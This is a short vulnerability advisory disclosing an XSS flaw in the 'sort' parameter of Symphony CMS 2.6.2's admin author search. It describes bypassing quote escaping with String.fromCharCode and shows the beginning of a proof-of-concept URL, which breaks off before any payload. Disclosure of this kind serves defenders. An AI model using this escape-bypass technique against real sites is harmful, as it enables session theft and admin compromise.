[+] Credits: John Page ( hyp3rlinx ) [+] Domains: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/AS-SYMPHONY0606.txt Vendor: ================================ www.getsymphony.com/download/ Product: ================================ Symphony CMS 2.6.2 Advisory Information: ================================================ Symphony CMS XSS Vulnerability Vulnerability Details: ===================== The 'sort' parameter used by author search in Admin is XSS exploitable. Symphony seems to escape injected strings e.g. 'HELL' becomes \'HELL\' but we can easily defeat that using Javascript functions charCodeAt() & fromCharCode() e.g. String.fromCharCode(72,69,76,76) Now we can output our 'HELL' strings, construct URLs etc... Exploit XSS code(s): ==================== http://localhost/symphony-2.6.2/symphony/system/authors/?sort=